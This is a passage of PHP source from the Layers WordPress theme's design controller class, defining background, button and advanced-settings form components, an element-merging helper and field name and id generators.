'label' => __( 'Background Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'color' ),
'id' => $this->get_layers_field_id( 'background', 'color' ),
'value' => ( isset( $this->values['background']['color'] ) ) ? $this->values['background']['color'] : NULL
);
$defaults['elements']['background-color-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['background-image-start'] = array(
'type' => 'group-start',
'label' => __( 'Background Image', 'layerswp' ),
);
$defaults['elements']['background-image'] = array(
'type' => 'image',
'button_label' => __( 'Choose Image', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'image' ),
'id' => $this->get_layers_field_id( 'background', 'image' ),
'value' => ( isset( $this->values['background']['image'] ) ) ? $this->values['background']['image'] : NULL,
);
$defaults['elements']['background-repeat'] = array(
'type' => 'select-icons',
'label' => __( 'Background Repeat', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'repeat' ),
'id' => $this->get_layers_field_id( 'background', 'repeat' ),
'value' => ( isset( $this->values['background']['repeat'] ) ) ? $this->values['background']['repeat'] : NULL,
'options' => array(
'no-repeat' => array( 'name' => __( 'No Repeat', 'layerswp' ), 'class' => 'icon-background-no-repeat' ),
'repeat' => array( 'name' => __( 'Repeat', 'layerswp' ), 'class' => 'icon-background-repeat' ),
'repeat-x' => array( 'name' => __( 'Repeat Horizontal', 'layerswp' ), 'class' => 'icon-background-repeat-horizontal' ),
'repeat-y' => array( 'name' => __( 'Repeat Vertical', 'layerswp' ), 'class' => 'icon-background-repeat-vertical' ),
),
'data' => array(
'show-if-selector' => '#' . $this->get_layers_field_id( 'background', 'image' ),
'show-if-value' => '',
'show-if-operator' => '!=='
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
$defaults['elements']['background-position'] = array(
'type' => 'select-icons',
'label' => __( 'Background Position', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'position' ),
'id' => $this->get_layers_field_id( 'background', 'position' ),
'value' => ( isset( $this->values['background']['position'] ) ) ? $this->values['background']['position'] : NULL,
'options' => array(
'center' => array( 'name' => __( 'Center', 'layerswp' ), 'class' => 'icon-background-position-center' ),
'top' => array( 'name' => __( 'Top', 'layerswp' ), 'class' => 'icon-background-position-top' ),
'bottom' => array( 'name' => __( 'Bottom', 'layerswp' ), 'class' => 'icon-background-position-bottom' ),
'left' => array( 'name' => __( 'Left', 'layerswp' ), 'class' => 'icon-background-position-left' ),
'right' => array( 'name' => __( 'Right', 'layerswp' ), 'class' => 'icon-background-position-right' ),
),
'data' => array(
'show-if-selector' => '#' . $this->get_layers_field_id( 'background', 'image' ),
'show-if-value' => '',
'show-if-operator' => '!=='
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
$defaults['elements']['background-stretch'] = array(
'type' => 'checkbox',
'label' => __( 'Stretch', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'stretch' ),
'id' => $this->get_layers_field_id( 'background', 'stretch' ),
'value' => ( isset( $this->values['background']['stretch'] ) ) ? $this->values['background']['stretch'] : NULL,
'data' => array(
'show-if-selector' => '#' . $this->get_layers_field_id( 'background', 'image' ),
'show-if-value' => '',
'show-if-operator' => '!=='
),
);
if( !class_exists( 'Layers_Pro' ) ) {
$defaults['elements']['background-parallax'] = array(
'type' => 'checkbox',
'label' => __( 'Parallax <span class="layers-inline-upsell">Available in <a href="https://www.layerswp.com/layers-pro/?ref=obox&utm_source=layers%20theme&utm_medium=link&utm_campaign=Layers%20Pro%20Upsell&utm_content=Widget%20Parallax%20Upsell" target="_blank">Pro</a></span>', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'parallax' ),
'id' => $this->get_layers_field_id( 'background', 'parallax' ),
'data' => array(
'show-if-selector' => '#' . $this->get_layers_field_id( 'background', 'image' ),
'show-if-value' => '',
'show-if-operator' => '!=='
),
'disabled' => true
);
}
$defaults['elements']['background-darken'] = array(
'type' => 'checkbox',
'label' => __( 'Darken', 'layerswp' ),
'name' => $this->get_layers_field_name( 'background', 'darken' ),
'id' => $this->get_layers_field_id( 'background', 'darken' ),
'value' => ( isset( $this->values['background']['darken'] ) ) ? $this->values['background']['darken'] : NULL,
);
$defaults['elements']['background-image-end'] = array(
'type' => 'group-end',
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_background_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Call To Action Customization - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function buttons_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'buttons';
// Setup icon CSS
$defaults['icon-css'] = 'icon-call-to-action';
// Add a Label
$defaults['label'] = __( 'Buttons', 'layerswp' );
// Add elements
$defaults['elements']['buttons-size'] = array(
'type' => 'select',
'label' => __( 'Size', 'layerswp' ),
'name' => $this->get_layers_field_name( 'buttons', 'buttons-size' ),
'id' => $this->get_layers_field_id( 'buttons', 'buttons-size' ),
'value' => ( isset( $this->values['buttons']['buttons-size'] ) ) ? $this->values['buttons']['buttons-size'] : NULL,
'options' => array(
'small' => __( 'Small', 'layerswp' ),
'medium' => __( 'Medium', 'layerswp' ),
'large' => __( 'Large', 'layerswp' )
)
);
// Only this one used to be here.
$defaults['elements']['buttons-background-color'] = array(
'type' => 'color',
'label' => __( 'Background Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'buttons', 'background-color' ),
'id' => $this->get_layers_field_id( 'buttons', 'background-color' ),
'value' => ( isset( $this->values['buttons']['background-color'] ) ) ? $this->values['buttons']['background-color'] : NULL
);
if( !class_exists( 'Layers_Pro' ) ) {
$defaults['elements']['buttons-upsell'] = array(
'type' => 'html',
'html' => '<div class="layers-upsell-tag">
<span class="layers-upsell-title">Upgrade to Layers Pro</span>
<div class="description customize-control-description">
Want more control over your button styling and sizes? <a target="_blank" href="https://www.layerswp.com/layers-pro/?ref=obox&utm_source=layers%20theme&utm_medium=link&utm_campaign=Layers%20Pro%20Upsell&utm_content=Widget%20Button%20Control">Purchase Layers Pro</a> to unlock the full power of Layers!
</div>
</div>'
);
}
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_button_colors_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Advanced - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function advanced_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'advanced';
// Setup icon CSS
$defaults['icon-css'] = 'icon-settings';
// Add a Label
$defaults['label'] = __( 'Advanced', 'layerswp' );
// Add elements
$defaults['elements']['advanced-anchor-start'] = array(
'type' => 'group-start',
'label' => __( 'Anchor & Widget ID', 'layerswp' ),
);
$defaults['elements']['anchor'] = array(
'type' => 'text',
'label' => __( 'Custom Anchor', 'layerswp' ),
'name' => $this->get_layers_field_name( 'advanced', 'anchor' ) ,
'id' => $this->get_layers_field_id( 'advanced', 'anchor' ) ,
'value' => ( isset( $this->values['advanced']['anchor'] ) ) ? $this->values['advanced']['anchor'] : NULL
);
$defaults['elements']['widget-id'] = array(
'type' => 'text',
'label' => __( 'Widget ID', 'layerswp' ),
'disabled' => FALSE,
'value' => '#' . str_replace( 'widget-layers', 'layers', str_ireplace( '-design' , '', $this->args['id'] ) )
);
$defaults['elements']['advanced-anchor-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['advanced-css-start'] = array(
'type' => 'group-start',
'label' => __( 'Custom Classes', 'layerswp' ),
);
$defaults['elements']['customclass'] = array(
'type' => 'text',
'name' => $this->get_layers_field_name( 'advanced', 'customclass' ),
'id' => $this->get_layers_field_id( 'advanced', 'customclass' ),
'value' => ( isset( $this->values['advanced']['customclass'] ) ) ? $this->values['advanced']['customclass'] : NULL,
'placeholder' => 'example-class'
);
$defaults['elements']['customcss'] = array(
'type' => 'textarea',
'label' => __( 'Custom CSS', 'layerswp' ),
'name' => $this->get_layers_field_name( 'advanced', 'customcss' ),
'id' => $this->get_layers_field_id( 'advanced', 'customcss' ),
'value' => ( isset( $this->values['advanced']['customcss'] ) ) ? $this->values['advanced']['customcss'] : NULL,
'placeholder' => ".classname { color: #333; }"
);
$defaults['elements']['advanced-css-end'] = array(
'type' => 'group-end',
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_advanced_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Custom Compontent
*
* @param string $key Simply the key and classname for the icon,
* @param array $args Component arguments, including the form items
*/
public function custom_component( $key = NULL, $args = array() ) {
if ( empty( $args ) )
return;
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Render Control
$this->render_control( $key, apply_filters( 'layers_custom_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Merge Compontent
*/
public function merge_component( $defaults, $args ) {
// Grab the elements and unset them - so we can work with them individually.
$defaults_elements = isset( $defaults['elements'] ) ? $defaults['elements'] : array() ;
if ( isset( $defaults['elements'] ) ) unset( $defaults['elements'] );
$args_elements = isset( $args['elements'] ) ? $args['elements'] : array() ;
if ( isset( $args['elements'] ) ) unset( $args['elements'] );
// New collection of elements consisting of a specific combo of the $defaults and the $args.
$new_elements = array();
foreach ( $args_elements as $args_key => $args_value ) {
if ( is_string( $args_value ) && isset( $defaults_elements[ $args_value ] ) ) {
// This case means the caller has specified a custom $args 'elements' config
// but has only passed a ref to the input by it's 'string 'background-image'
// allowing them to reposition the input without redefining all the settings
// the input.
$new_elements[ $args_value ] = $defaults_elements[ $args_value ];
// We've got what we needed from this element so remove it from the reference array.
if ( isset( $defaults_elements[ $args_key ] ) ) {
unset( $defaults_elements[ $args_value ] );
}
}
else if( isset( $defaults_elements[ $args_key ] ) && is_array( $defaults_elements[ $args_key ] ) && is_array( $args_elements[ $args_key ] ) ) {
// This case means the caller intends to combine the defaults with new
// parameters, keeping the existing fields but adding new things to it
$new_elements[ $args_key ] = $args_elements[ $args_key ] + $defaults_elements[ $args_key ];
}
else if ( is_array( $args_value ) ) {
// This case means the caller has specified a custom $args 'elements' config
// and has specified their own custom input field config - allowing them to
// create a new custom field.
$new_elements[ $args_key ] = $args_value;
// We've got what we needed from this element so remove it from the reference array.
if ( isset( $defaults_elements[ $args_key ] ) ) {
unset( $defaults_elements[ $args_key ] );
}
}
}
// This handles merging the important non-elements like 'icon-css' and 'title'
$args = array_merge( $defaults, $args );
// Either 'replace' or 'merge' the new input - so either show only the ones you have chosen
// or show the ones you have chosen after the defaults of the component.
if ( isset( $args['elements_combine'] ) && 'replace' === $args['elements_combine'] ) {
$args['elements'] = $new_elements;
}
else{ // 'merge' or anything else.
$args['elements'] = array_merge( $defaults_elements, $new_elements );
}
return $args;
}
/**
* Widget name generation (replaces get_custom_field_id)
*
* @param string $field_name_1 Level 1 name
* @param string $field_name_2 Level 2 name
* @param string $field_name_3 Level 3 name
* @return string Name attribute
*/
function get_layers_field_name( $field_name_1 = '', $field_name_2 = '', $field_name_3 = '' ) {
// If we don't have these important args details then bail.
if ( ! isset( $this->args['name'] ) ) return;
// Compile the first part.
$string = $this->args['name'];
// Now add any custom strings passed as args.
if( '' != $field_name_1 ) $string .= '[' . $field_name_1 . ']';
if( '' != $field_name_2 ) $string .= '[' . $field_name_2 . ']';
if( '' != $field_name_3 ) $string .= '[' . $field_name_3 . ']';
if ( ( bool ) layers_get_theme_mod( 'dev-switch-widget-field-names' ) ) {
$debug_string = substr( $string, ( strpos( $string, ']' ) + 1 ), strlen( $string ) );
echo '<span class="layers-widget-defaults-debug">' . $debug_string . '</span><br />';
}
return $string;
}
/**
* Widget id generation (replaces get_custom_field_id)
*
* @param string $field_name_1 Level 1 id
* @param string $field_name_2 Level 2 id
* @param string $field_name_3 Level 3 id
* @return string Id attribute
*/
function get_layers_field_id( $field_name_1 = '', $field_name_2 = '', $field_id = '' ) {
// If we don't have these important args details then bail.
if ( ! isset( $this->args['id'] ) ) return;
// Compile the first part.
$string = $this->args['id'];
// Now add any custom strings passed as args.
if( '' != $field_name_1 ) $string .= '-' . $field_name_1;
if( '' != $field_name_2 ) $string .= '-' . $field_name_2;
if( '' != $field_id ) $string .= '-' . $field_id;
return $string;
}
} //class Layers_Design_Controller